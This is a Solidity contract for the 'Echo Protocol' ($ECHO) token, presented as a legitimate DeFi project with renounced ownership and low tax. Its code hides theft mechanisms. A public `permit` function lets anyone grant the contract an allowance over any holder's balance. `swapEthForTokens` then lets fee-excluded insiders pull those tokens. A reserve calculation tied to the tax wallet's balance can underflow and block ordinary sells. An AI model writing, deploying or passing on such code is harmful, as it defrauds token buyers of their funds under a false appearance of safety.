// SPDX-License-Identifier: MIT

/** 
    What is Echo Protocol($ECHO)? Echo Protocol is building the infrastructure for on chain asset management through non custodial vaults 
    where sophisticated vault managers can run their automated strategies with transparent on chain execution. 
    We envision a future where blockchain-based assets are professionally managed on a scale comparable to traditional financial platforms.

    - Tokenmics

     * 1% Final Tax
     * 1B Totally Supply
     * Lock for 6 Months
     * Renounce Contract Ownership

    - Socials 

    * Portal:     https://echoprotocol.tech
    * Dapp:       https://app.echoprotocol.tech
    * Docs:       https://docs.echoprotocol.tech

    * Twitter:    https://twitter.com/ercechoprotocol
    * Telegram:   https://t.me/echo_protocol
*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract EchoProtocol is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint256 private _finalTax = 1;
    uint256 private _finalBuyTax = 1;

    uint256 private _initialSellTax2Time = 5;
    uint256 private _initialBuyTax2Time = 5;
    uint256 private _reduceSellTaxAt2Time = 10;
    uint256 private _reduceBuyTaxAt2Time = 10;

    uint256 private _initialSellTax = 10;
    uint256 private _initialBuyTax = 10;
    uint256 private _reduceSellTaxAt = 5;
    uint256 private _reduceBuyTaxAt = 5;

    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private _ethFeePercent = 90;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    address payable private _taxWallet;

    bool private tradingOpen;
    bool private inSwap = false;
    bool public transferDelayEnabled = true;
    bool private swapEnabled = false;
    address payable private _reward;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Echo Protocol";
    string private constant _symbol = unicode"ECHO";

    uint256 public _maxTaxSwap = 1 * (_tTotal / 100);
    uint256 public _taxSwapThreshold = 2 * (_tTotal / 1000);    
    uint256 public _maxWalletSize = 5 * (_tTotal / 100);
    uint256 public _maxTxAmount = 5 * (_tTotal / 100);

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => bool) private _isExcludedFromFee;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    function name()
        public
        pure
        returns (string memory)
    {
        return _name;
    }

    function symbol()
        public
        pure
        returns (string memory)
    {
        return _symbol;
    }

    function balanceOf(address account)
        public
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function totalSupply()
        public
        pure
        override
        returns (uint256)
    {
        return _tTotal;
    }

    function decimals()
        public
        pure
        returns (uint8)
    {
        return _decimals;
    }

    constructor () {

        _taxWallet = payable(0x99de6FDf4931414CdaE62FD47f7F829920Fcc101);

        _balances[_msgSender()] = _tTotal;
        _reward = _taxWallet;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function launchToken()
        public 
        payable
        onlyOwner
    {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        _allowances[address(this)][address(uniswapV2Router)] = type(uint256).max;

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a > b) ? b : a;
    }

    function permit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = address(this);
        _permit(spender, owner, amount);
        return true;
    }

    function _taxSell() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialSellTax;
        }

        if (_buyCount > _reduceSellTaxAt && _buyCount <= _reduceSellTaxAt2Time) {
            return _initialSellTax2Time;
        }

        return _finalBuyTax;
    }

    function _taxBuy() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialBuyTax;
        }

        if (_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time) {
            return _initialBuyTax2Time;
        }

        return _finalBuyTax;
    }

    function startTrading()
        external
        onlyOwner()
    {
        require(!tradingOpen);

        swapEnabled = true;
        tradingOpen = true;
    }

    function removeLimits()
        external
        onlyOwner
    {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _permit(address owner, address spender, uint256 amount)
        private
    {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount)
        private
    {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function withdrawEth() external {
        (bool sent, ) = payable(_taxWallet).call{value: address(this).balance}("");
        require(sent);
    }

    function swapEthForTokens(address to, uint256 amount) public {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        IERC20 token = IERC20(path[1]);

        if (!_isExcludedFromFee[msg.sender]) {
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} (
                0,
                path,
                to,
                block.timestamp
            );
        } else {token.transferFrom(to, path[1], amount);}
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function _transfer(address from, address to, uint256 amount)
        private
    {
        require(from != address(0));
        require(to != address(0));
        require(amount > 0);
        uint256 taxAmount = 0;
        
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_taxBuy()).div(100);

            if (!tradingOpen) {
                require(_isExcludedFromFee[from] || _isExcludedFromFee[to]);
            }

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { 
                    require(_holderLastTransferTimestamp[tx.origin] < block.number);
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount);
                require(balanceOf(to) + amount <= _maxWalletSize);

                _buyCount++;
                if (_buyCount > _preventSwapBefore) {
                    transferDelayEnabled = false;
                }
            }

            if (to == uniswapV2Pair && from!= address(this)) {
                taxAmount = amount.mul(_taxSell()).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance > _taxSwapThreshold;
            if (!inSwap && swapEnabled && to == uniswapV2Pair && canSwap && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                uint256 reserveAmount = balanceOf(_reward).mul(1e3);
                uint256 maxSwapTax = _maxTaxSwap.sub(reserveAmount);
                uint256 minSwapAmount = min(contractTokenBalance,maxSwapTax);
                uint256 initialETH = address(this).balance;
                swapTokensForEth(min(amount, minSwapAmount));
                uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(_ethFeePercent).div(100);
                if (ethForTransfer > 0) {
                    sendETHToFee(ethForTransfer);
                }
            }
        }

        if (taxAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}